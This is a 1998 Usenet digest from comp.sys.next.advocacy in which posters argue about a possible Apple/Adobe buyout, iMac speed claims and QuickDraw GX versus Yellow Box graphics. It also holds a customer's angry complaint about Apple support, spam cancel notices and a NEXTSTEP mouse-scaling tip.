Subject: Re: Quark==Adobe buyout - opinion
Date: Thu, 27 Aug 1998 22:02:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6s4l1a$f7u$1@nnrp1.dejanews.com>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
[Reasons wht Apple should buy Adobe snipped]
I dunno. I'd be nervous about an Apple/Adobe combo for the same reasons that I
think a MicroSoft that makes both the OS and apps for it is a bad idea.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <OS-2608982152520001@ip03-syptec.doitnow.com>
Control: cancel <OS-2608982152520001@ip03-syptec.doitnow.com>
Date: 27 Aug 1998 04:49:13 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.OS-2608982152520001@ip03-syptec.doitnow.com>
Sender: OS@debate.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: CONSUMER WARNING: do NOT purchase Apple products
Message-ID: <1998082823090300.TAA08013@ladder03.news.aol.com>
Date: 28 Aug 1998 23:09:03 GMT
Organization: AOL http://www.aol.com
CONSUMER WARNING: Do NOT buy Apple products.
Apple will not stand behind or support their products.
Last spring my mother asked my advice on what computer she should get. She's
always used a macintosh, starting with a Mac 128K (expanded to 512K), then a
Mac IIsi, and then a Mac Quadra 610. But she was concerned about reports that
Apple is going out of business and was considering a Windows machine. I
foolishly told her that because she was already used to the Macintosh, she
should stick with it, especially with the cost of replacing all her software
and hardware with Windows stuff.
So, she bought a Power Macintosh G3 desktop 266. And the nightmare began.
The first problem was that many of her existing programs did NOT work with
the new Power Macintosh. Apple told her to call each company and ask for an
update. So she spent days on the phone tracking down updates. All of the
updates other than AOL cost her money (in addition to the long distance phone
calls). And some of the companies were out of business.
This is all for software that was WORKING fine for years.
Once she got most of the software upgraded, she found out that her Apple
LaserWriter 310 printer would NOT work with her new Apple computer. The booklet
that came with the computer said to reinstall the printer software from the
original disks. She tried that, but the new computer refused to recognize the
second floppy disk in the install set. So she called Apple and the support guy
told her to "go out on the Internet" and find a patch. Obviously Appple has
maliciously and purposely broken the ability for their new computers to work
with their old printers in hopes of forcing customers to buy new printers.
And then she discovered that her Apple ColorOne Scanner won't work with her
new Apple computer. Again, the Apple support guy told her to go out on the
Internet and look for a fix. Once again, Apple maliciously breaking support for
its own existing products in order to force the purchase of new hardware.
And then her CD-ROM player went bad. At first it made some horrendous
noises, then the button stopped working (it would take a minute or two of
continually pressing the button to get the tray to open). Apple sent out a
repairman who opened the computer up and stuffed pieces of dark grey foam all
around the CD-ROM player. Amazingly, this made things work for a couple of
weeks.
But then the CD-ROm player went bad again. Not only does it take a minute or
two of continually pressing the button to get the tray to open, but now it will
only play about four minutes of music before stopping. Even if the computer is
completely idle with nothing else going on, all other programs shut off, the CD
player will only play about four minutes of music and then abruptly stops.
This time, when she called Apple, they refused to take her call unless she
paid them money, claiming that her period of free support had ended.
Is the G3 fast? Yes. It is very fast. Fast enough that she does as much work
as she can on it. But she has to have two computers side by side, the new one
and the old one. She has to do all of her printing, all of her scanning, and
run several older programs on the old machine, shuffling data back and forth
with floppies.
This is a complete nightmare.
Apple may think this kind of trickery will force her to buy new Apple
printers and scanners and a new CD-ROM drive (to replace one that breaks in a
couple of months). It won't.
You can bet your bottom dollar that she will NEVER buy another Apple product
for the rest of her life. And neither will I. And I want to warn everyone I can
about exactly what kind of nightmare they are facing if they buy Apple
products. Do NOT under any conditions buy Apple products.
Apple will maliciously make it so that their new hardware won't work with
older software or hardware. Apple will refuse to repair their computers when
things go wrong. Purchasing an Apple product is a complete waste of money.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: GX vs ?? (Was Re: Claris apps and YB (Was Re: Heidi Roizen)
Content-Type: text/plain; charset=us-ascii
Message-ID: <EyFA1H.CBo@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: english@primenet.com
Organization: none
References: <EyEMK3.tM@T-FCN.Net> <B20C6ADE-26DD2@206.165.43.73>
Mime-Version: 1.0
Date: Fri, 28 Aug 1998 23:17:40 GMT
In <B20C6ADE-26DD2@206.165.43.73> "Lawson English" wrote:
> > YB graphics? DPS? Most every Unix box.
>
> And how many Mac users are running it?
Who cares? If the number of Mac users running, comparitavely, is a good
measure, then every title on PC's must be better than the ones on the Mac.
> >> of the YB? DPS? PDF? eQD? Which version of YB are we talking about?
> >
> > That's a stupid question, which one are YOU talking about?
>
> What are YOU talking about? The imaging model of the Yellow Box has changed
> for MacOS X.
Fine, so pick one and stop being evasive.
> Many of the graphics applications that NeXTers have touted as
> being superior to everything else out there use DPS directly rather than
> the YB libraries.
Really? Which? I'm writting a graphics app (thrid beta went out this week
in fact) and I have less than 100 DPS calls. I guess you have no idea what
you're talking about.
> Without knowing which version of YB graphics we're
> talking about, we can't compare them very well, can we?
Well duh, then why'd you bring it up? Rhetorical question, we know why, so
you could continue whining.
> I thought that we went over this already. Earlier this year, Apple released
> a printing library for GX that allows GX apps to print to classic print
> drivers. There is NO printing conflict left with GX, Maury.
You'll personally guarentee this? For how much?
> Yes. I worded that badly. Why the insistence on making an obviously poorly
> worded phrase into some new example of my ignorance?
We all play that game.
> > So what? Neither will the OS.
>
> Exactly.
Exactly exactly.
> And there's a standard way of flattening and retrieving shape-objects for
> further editing during the pre-press process other than editing text-based
> PDF files?
Yes, that's what I said (like working with a text file is a bad thing. Hey
Lawson, this is Unix! Duh!). In our case we use the nicer (if I do say so
myself) OAPropertyListCoder. Here, here's some (clipped) contents of a
document I just made...
Object1 = {
canvas = _root;
fill = Object8;
frameRect = "{x = 112; y = 113.25; width = 90; height = 50}";
isHorizontallyFlipped = NO;
isVerticallyFlipped = NO;
isLabeled = NO;
isOutlined = YES;
isShadowed = YES;
naturalSize = "{width = 0; height = 0}";
rotation = 0.000000;
scale = "{width = 0; height = 0}";
stroke = Object2;
tag = "";
url = "";
userInfo = nil;
};
In case you're confused, "tag" is the name of the shape, and "canvas" is
the view that currently owns it. You can edit that with HyperCard and not
even need an XCMD. In fact, you can AppleScript it, perl it, do whatever you
want to it. It's a text file.
> > You don't know what PDF's solution is.
>
> I know what the PDF manual says.
I read the Space Shuttle manual once too, does that mean I get to build
them now?
> Everyone accuses me of not reading the f-ing manual.
Not me, I accuse you of not understanding it. Unified Hangul indeed.
> I'm sorry. My characterization of the following as saying that there are
> libraries that blow GX out of the water was apparently a total misread. How
> would YOU paraphrase the following?
>
> >Given a powerful object oriented infrastructure and modern (25 year old)
> >operating system services and a powerful device independent imaging
> >model,
> >an object framework that makes GX look like a toy is not only feasible but
> >has been implemented (probably more than once).
I would characterize this as saying that GX is pointless if you have a good
object library, and that it's not only feasable, but likely done more than
once. I don't know how you could characterize this as "blowing GX out of the
water".
Seeing as I am the part author of just such a library, and you're not,
exactly why are you bothering us again? GX could cut up DPS, or it could cut
the cheese, both extremes are equally pointless.
Maury
From: kevin@sysexperts.com (Kevin Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Fri, 28 Aug 1998 01:55:19 -0700
Organization: Slip.Net (http://www.slip.net)
Message-ID: <slrn6ucs3n.kbc.kevin@frobozz.sysexperts.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com> <slrn6u9p46.joh.jedi@dementia.mishnet> <6s3vk3$9qo@news1.panix.com>
On 27 Aug 1998 15:56:51 GMT, Sal Denaro <sal@panix.com> wrote:
>On Wed, 26 Aug 1998 21:45:58 -0700, jedi <jedi@dementia.mishnet> wrote:
[...]
>>>for Apple, and I doubt Apple could survive them at this point. Apple isn't
>>>strong enough for that radical a business shift, and may never be.
>>>Also keep in mind what happened when Steve Jobs did this while running
>>>NeXT.
>> He overpriced the market before & overpriced it afterwards.
>> That was he doomed to failure in both instances is no
>> great mystery.
>
>NeXT hardware was expensive, but when you compare it to similar Unix
>workstations of the time (or even high end Macs) they were hardly
>overpriced.
Umm...in terms of performance for the price, NeXT hardware got blown
away by Suns back then. Initially NeXT hardware might have been
reasonably competitive but it didn't stay that way for long...
--
Kevin Brown kevin@sysexperts.com
This is your .signature virus: < begin 644 .signature (9V]T8VAA(0K0z end >
This is your .signature virus on drugs: <>
Any questions?
From: blewis@cablestogo.com (blewis)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Fri, 28 Aug 1998 10:33:53 -0400
Organization: CTG
Message-ID: <blewis-2808981033530001@207.90.74.231>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <6rkgjd$55s$1@msunews.cl.msu.edu> <6rkmf4$hnl$1@plo.sierra.com> <rbarris-ya023280002108981506420001@206.82.216.1> <6rl6rm$4pr$1@hecate.umd.edu> <35DEC46B.F10B50BA@chem.uit.no>
Hmmm. Another link dropper.
Here's one to check out :
http://www.zdnet.com/pcweek/reviews/0413/13mac.html
In article <35DEC46B.F10B50BA@chem.uit.no>, Jostein Johansen
<jostein@chem.uit.no> wrote:
> David T. Wang wrote:
> >
> > Rob Barris (rbarris@quicksilver.com) wrote:
> > : In article <6rkmf4$hnl$1@plo.sierra.com>, "Earl Malmrose"
> > : <earl.malmrose@nospam.sierra.com> wrote:
> >
> > : > Steve Jobs: "I think also, you know, the iMac is faster than the
fastest PC
> > : > you can buy for any amount of money."
> > : >
> > : > Absolutely false, and thus a flat-out lie.
> >
> > : He said that's what he thinks. Awfully clever of him. He's
giving his
> > : competitors a golden opportunity to show him wrong, they should take
him up
> > : on it.
> >
> > http://www.techweb.com/wire/story/TWB19980821S0021
>
> Those tests should stop some big mouth Apple advoctes (if they even care
> to look at it). The PCs are clearly faster, even in Filemaker, so that
> "Bad port" argument is not very usefull.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 28 Aug 1998 11:01:54 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E6D472.88368396@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com>
<6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com>
<6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net>
<35E5ADA7.E0EE0B35@ericsson.com> <gmgraves-2708981444590001@sf-usr1-9-137.dialup.slip.net>
<35E5DE46.66B6062A@ericsson.com> <EyELoK.n43@T-FCN.Net>
Mime-Version: 1.0
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Maury Markowitz wrote:
> incontrovertible adj
> syn POSITIVE 3, certain, incontestable, indisputable, indubitable,
> uncontestable, undeniable, undisputable, unequivocal, unquestionable
>
> By most of these George is correct.
Using a thesaurus instead of a dictionary? I refer you to your
undergraduate English comprehension classes, Maury.
> > My personal first-hand experience is not open to question.
>
> Yes it is. That's the entire basis of the courts system. See what I mean
> about dumb posts?
This is not a court of opinion on my first-hand experience! You don't
seem to get it; let's try this again.
I was asked for the reasoning behind my opinions of the Macintosh. My
first-hand experience is the basis of my opinions. It is totally factual
and incontrovertible as the basis of those opinions.
If I were to offer my experience as a basis for YOUR opinions, you'd be
free to question it. As it is, I do not.
It's "dumb" that I should have to explain this to you, but there it is.
> > I didn't say anything about proof. Here, my mouth is open. Go ahead!
> > Just put your words right in.
>
> We'll leave that to you, you're doing such a great job of it lately.
This doesn't make any sense at all.
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Fri, 28 Aug 1998 23:18:42 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2808982318420001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2dm9$2pr$1@birch.prod.itd.earthlink.net> <rmcassid-2708981050220001@hephaestus.eng.uci.edu> <ueHF1.2546$MS.4447426@news.rdc1.sdca.home.com>
In article <ueHF1.2546$MS.4447426@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>In <rmcassid-2708981050220001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
>> There is something really, really valuable in PDF (especially when tied to
>> WO) that Adobe just doesn't get. Apple could gain some real strength by
>> such a move.
>
>Can you enlighten me on "how" WO delivers _value add_ to PDF that any other
>third party doesn't have access to do the same thing?
I just haven't seen it done well yet. That's not to say that anybody
couldn't just do it well - they could. They just haven't.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Fri, 28 Aug 1998 23:17:06 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2808982317070001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com>
In article <NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>Your business case impresses Apple could "package" for the publishing
>industry. Implied in that packaging is that costs now incurred would be
>reduced? How is that good for Apple?
Volume versus margins. Apple's motivation should be based on establishing
solid file format or language standards for the industry.
Quark essentially owns the publishing market because they beat Aldus/Adobe
for just long enough for the market to align themselves on Quark. A market
that depends on transmitting files to operate cannot support multiple
formats to any great extent. (Consider having multiple, incompatable HTML
formats). So as soon as you get a certain amount of marketshare, you get
virtually all of it. Office is a great example of this.
So Apple bundles in order to establish dominance in the marketplace on key
formats - PS, PDF, Photoshop. Also by bundling consumer products, 3rd
parties are much more likely to support these products because of the now
large installed base. Work off of the consumer product to promote the
professional product which has an overlap of features and file formats and
you now likely have greater integration, thanks to the bundling. That
helps sell the pro product which you are charging full price for.
>Lastly, why would Apple want the publishing market niche _top-to-bottom_?
Security.
>Why would the industry want Apple as a sole source supplier?
They wouldn't. But individuals being selfish like a monopoly that benefits
them. And it's individuals that buy product, not markets. Besides, who
would they turn to? MS?
-Bob Cassidy
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 28 Aug 1998 11:10:44 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E6D684.40CD31F7@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com>
<6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com>
<6s1nq7$9mj@newsb.netnews.att.com> <35E46BAA.2C74EA52@ericsson.com>
<6s2jb0$oqh@news1.panix.com> <35E5B233.FC15155E@ericsson.com> <EyELsq.4x@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Maury Markowitz wrote:
> > Yes, they do.
>
> That floppies are "unusable"? No they don't. In fact I'd like you to find
> even a *single* person that would make that same statement to back you up.
I didn't make that statement, and anyway the context was experience
regarding the reliability of Macintoshes.
> > Look, I'm sorry about whatever is wrong with your life to make you such
> > a bitter and vindictive man. I'd really like to help. Send me email.
>
> Name calling, how mature.
Name calling? Where? And where do you get off accusing me of name
calling, Maury?
MJP
From: macgear@bellsouth.net (Larry Jarvis)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Message-ID: <macgear-2908980025420001@host-209-214-104-163.bhm.bellsouth.net>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net>
Organization: Mac GearHead
Date: Sat, 29 Aug 1998 05:25:25 GMT
NNTP-Posting-Date: Sat, 29 Aug 1998 01:25:25 EDT
In article <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> 1) Apple's own internal engineers made a effort to find out the truth, and
> it showed a g3 266 is only about %30 faster than a p2 266.
Only 30% faster. Only! Send me the G3 you can keep the p2 266.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs ?? (Was Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 28 Aug 98 14:10:36 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B20C6ADE-26DD2@206.165.43.73>
References: <EyEMK3.tM@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca>
>In <B20B538E-5E0B3@206.165.43.158> "Lawson English" wrote:
>> GX is available on every color Mac. YB graphics is available on...?
>
> YB graphics? DPS? Most every Unix box.
And how many Mac users are running it?
>
>> Is that with or without Display Postscript? Just what IS the imaging
>model
>> of the YB? DPS? PDF? eQD? Which version of YB are we talking about?
>
> That's a stupid question, which one are YOU talking about?
What are YOU talking about? The imaging model of the Yellow Box has changed
for MacOS X. Many of the graphics applications that NeXTers have touted as
being superior to everything else out there use DPS directly rather than
the YB libraries. Without knowing which version of YB graphics we're
talking about, we can't compare them very well, can we?
>
>> GX is working now.
>
> Only if you losely define "working" to include things like "won't output
>to..." and "causes laserwriter wars..."
>
I thought that we went over this already. Earlier this year, Apple released
a printing library for GX that allows GX apps to print to classic print
drivers. There is NO printing conflict left with GX, Maury. The library
should also make it possible to expert EPS files of GX images, although
overlapping transparent shapes exported this way would only be 72DPI unless
tweaking is done (haven't looked into it yet because my compiler isn't
up-to-date enough to use the library, but it should work just fine with
GXFCN since it is merely a standard MacOS library).
> >GXFCN implements a scripting interface for HyperCard
>> programmers for GX and about 60% of all schools K-12 use it in some way
>
> Note that what he really means is that some 60% of schools use HC. I
have
>_never_ heard of a single school using GX, and consideing my last job I
>would
>know considerably better about this than Lawson.
Yes. I worded that badly. Why the insistence on making an obviously poorly
worded phrase into some new example of my ignorance?
>
>> I've no objection to Apple producting a BETTER 2D library than GX, but
I'm
>> not holding my breath that they will. Certainly, it won't run on 90% of
>> existing Macintoshes.
>
> So what? Neither will the OS.
Exactly.
>
>> GX provides for saving "flattened" objects
>
> NSCoder.
And there's a standard way of flattening and retrieving shape-objects for
further editing during the pre-press process other than editing text-based
PDF files?
>
>> Far more elegant than PDF's solution.
>
> You don't know what PDF's solution is.
I know what the PDF manual says. Everyone accuses me of not reading the
f-ing manual. Have YOU read the f-ing PDF manual, Maury?
>
>> BTW, you've mentioned libraries and so on that blow GX out of the water.
>
> No, the words "blow GX out of the water" appear nowhere in the message.
>
I'm sorry. My characterization of the following as saying that there are
libraries that blow GX out of the water was apparently a total misread. How
would YOU paraphrase the following?
>Given a powerful object oriented infrastructure and modern (25 year old)
>operating system services and a powerful device independent imaging
>model,
>an object framework that makes GX look like a toy is not only feasible but
>has been implemented (probably more than once).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Pascal Bourguignon <pbourgui@afaa.asso.fr>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: NEXTSTEP 3.3 mouse behaviour guts
Date: 29 Aug 1998 09:16:59 GMT
Organization: None
Message-ID: <6s8gub$27c$1@news.imaginet.fr>
References: <6s6pkv$2ch$1@geraldo.cc.utexas.edu>
jeffm@boxybutgood.com (Jeff Meininger) wrote:
>Is there a way to have non-scaled mouse response, where your cursor
>moves a distance directly proportional to the distance you moved
>your mouse? This seems to be the case for the slowest setting under
>the preferences panel, but it is not fast enough for my taste. From
>what I understand, I need to mess with some very internal NEXTSTEP
>voodoo to accomplish this. GKMouseScaler doesn't do exactly what I want
>because a flat line of a fast enough speed makes the cursor "jumpy"... I
>just want it faster. Can anyone help me out with this problem?
>
>Thanks
>-Jeff Meininger
Have a look at the MouseScaling default.
dwrite NeXT1 MouseScaling "5 2 2 3 6 4 10 5 15 6 22"
The syntax for the value of the MouseScaling is:
<number_of_entries> { <mouse_distance> <pointer_distance> }
For a fast linear response, I would use:
dwrite NeXT1 MouseScaling "1 1 10"
You have to logout/login to enforce the setting.
__Pascal Bourguignon__
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <35e6eca1.0@news.pronet.it>
Control: cancel <35e6eca1.0@news.pronet.it>
Date: 29 Aug 1998 12:00:35 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.35e6eca1.0@news.pronet.it>
Sender: email@address.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Sick-O-Spam, Spam-B-Gon!
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Message-ID: <1998082808324600.EAA23510@ladder03.news.aol.com>
Date: 28 Aug 1998 08:32:46 GMT
Organization: AOL http://www.aol.com
References: <6s2dm9$2pr$1@birch.prod.itd.earthlink.net>
"Ziya Oz" <ZiyaOz@earthlink.net> WROTE:
<<That would prod Quark or Microsoft to buy Macromedia and we'd have Win/Mac
split
with Apple-Adobe in one camp and Macromedia-Quark/Microsoft in the other.>>
MacroMedia has been very successful by carefully avoiding ever having any
conflicts or competition with either Apple or Microsoft. I see no reason for
them to change this very successful strategy.
<<I don't see how Apple would continue to give Adobe's Win products as much
attention as they've been getting under Adobe. Think of Photoshop and MMX, for
instance.>>
Consider ClarisWorks. Although never very popular on Windows, Apple was very
careful to make sure that the Windows version was every bit as good as the
Macintosh version.
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: 29 Aug 1998 05:30:23 GMT
Organization: Michigan State University
Message-ID: <6s83lf$2dt$1@msunews.cl.msu.edu>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net>
<macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net>
<6rkgjd$55s$1@msunews.cl.msu.edu> <6rkmf4$hnl$1@plo.sierra.com>
<rbarris-ya023280002108981506420001@206.82.216.1> <6rl6rm$4pr$1@hecate.umd.edu>
<35DEC46B.F10B50BA@chem.uit.no> <blewis-2808981033530001@207.90.74.231>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: blewis@cablestogo.com
In <blewis-2808981033530001@207.90.74.231> blewis wrote:
> Hmmm. Another link dropper.
>
> Here's one to check out :
>
> http://www.zdnet.com/pcweek/reviews/0413/13mac.html
>
> In article <35DEC46B.F10B50BA@chem.uit.no>, Jostein Johansen
> <jostein@chem.uit.no> wrote:
>
> > David T. Wang wrote:
> > >
> > > Rob Barris (rbarris@quicksilver.com) wrote:
> > > : In article <6rkmf4$hnl$1@plo.sierra.com>, "Earl Malmrose"
> > > : <earl.malmrose@nospam.sierra.com> wrote:
> > >
> > > : > Steve Jobs: "I think also, you know, the iMac is faster than
the
> fastest PC
> > > : > you can buy for any amount of money."
> > > : >
> > > : > Absolutely false, and thus a flat-out lie.
> > >
> > > : He said that's what he thinks. Awfully clever of him.
He's
> giving his
> > > : competitors a golden opportunity to show him wrong, they should
take
> him up
> > > : on it.
> > >
> > > http://www.techweb.com/wire/story/TWB19980821S0021
> >
> > Those tests should stop some big mouth Apple advoctes (if they even
care
> > to look at it). The PCs are clearly faster, even in Filemaker, so
that
> > "Bad port" argument is not very usefull.
Interesting that everyone posts this or that and beats the hell out of
the G3 macs. Even though I am skeptical of Apple and particularly
Jobs comments of G3's being 2-4x a PII. What I have to wonder is
why no-one is mentioning various bus speeds. A PII 300 could be
on a 66 or 100Mhz bus..
Another point. Why doesn't someone get together some experienced
and inexperienced PC/Mac users sit them down at various machines
with a set of tasks set before them. How to accomplish the tasks
should
be clearly delinated in a step-by-step fashion and should be designed
so as to span the capabilities of each machine, whether it be level I,
or
II cache, RAM intensive, disk intensive, display etc. Then publish
the results
including crashes, time taken, etc. Also publish what the people had
to
say about doing the test on the different hardware, which to me would
be
much more valuable.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Fri, 28 Aug 1998 23:02:00 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2808982302000001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu> <6s7oei$1el$1@oak.prod.itd.earthlink.net>
In article <6s7oei$1el$1@oak.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>
>>The point is that *everybody* in this market has to
>>deal with Adobe wrt PS and PDF. That includes MS, Quark, etc. Controlling
>>those two technologies (assuming they remain viable long term) is to
>>guarantee a certain market.
>
>While the long-standing controversy of PDF import into XPress is a good
case for
>Quark's need to deal with Adobe on PS/PDF, MS has a *very* tenuous relationship
>to PS/PDF and Adobe and, one could say, would lose very little from the demise
>of PS/PDF.
True. But it's also true that MS has a very tenuous relationship with the
publishing sector without major Adobe intervention. I don't see any PCL
based imagesetters being used out there.
Sure, those big 6 accounting firms wouldn't notice if Adobe techs fell off
the planet, and certainly MS wouldn't suffer as a result. But there *are*
markets where PS is key, and I don't see anything but PDF replacing it.
>>One smart thing for Apple to do would be to control technologies that
>>Windows is dependent on while working to ensure that MS does not make them
>>pointless. Then your future is tied to that of MS. That's why QT is key
>>for Apple. It does exactly that thing.
>
>That's why, apparently, MS tried to dissuade Apple from marketing QT3 for
>Windows. However, there are very few non-public technologies that MS relies on
>to any serious extend. [It'd be nice if someone chimed in with any
examples that
>escape me now.] Notwithstanding DoJ, I think MS will do everything they can to
>derail QT as well, especially wrt streaming.
Agreed. There are few. And the few that have come along MS was successful
at killing or absorbing. Java is another one that MS doesn't have control
over.
>>I imagine they would. Apple will never upend NT in the near term, so they
>>might as well get as much money from the NT market as possible. This is a
>>company, not a religion. Think profits.
>
>There's a fine line between making your crown jewels available on your main
>competitor's platform and erasing all need for your customers to come to
yours.
But again we look at MS. MS hasn't lost any ground by offering Office on
the Mac because consumers know that Office on the PC _must_ overall be
better - MS wouldn't be so stupid as to make it any other way. The same
argument would hold for Apple in the publishing community - and it'd be a
fairly easy sell.
>>Apple doesn't talk them out of it - they make it as easy to stay with
>>Apple products as possible and as easy as possible to get back into Apple
>>products. Apple would at the very least have the position 2 or 3 years
>>down the road to make a strong case for migration back.
>
>I find those who migrated to NT recently (after having been royal Apple
>customers for a long time) to be the most anti-Apple, almost venemous.
The sense
>of betrayal by and disappointement with Apple, coupled with their ability
now to
>have all their familiar tools on Windows, I think, will keep them off Apple for
>a very long time, regardless of what might be technological advantages on the
>other side.
There is a common phenomena among people who have been jilted by their
lover to do essentially the same thing. Many people are venemous because
they felt they _had_ to leave Apple, and they blame Apple for that. They
really wish they could have stayed but feel that Apple forced them to do
something they didn't want to.
Not everyone, but many. They'll get over it.
>Perhaps the best example of this is pro-QuickTime users. I see no way for Apple
>to recoup HW/SW *and* after-sale revenue from just the license fees from QT.
>Losing a digital video or prepress shop to NT, is deadly to Apple. Again,
unless
>Apple wants to become essentially a software-centric company, the logic of
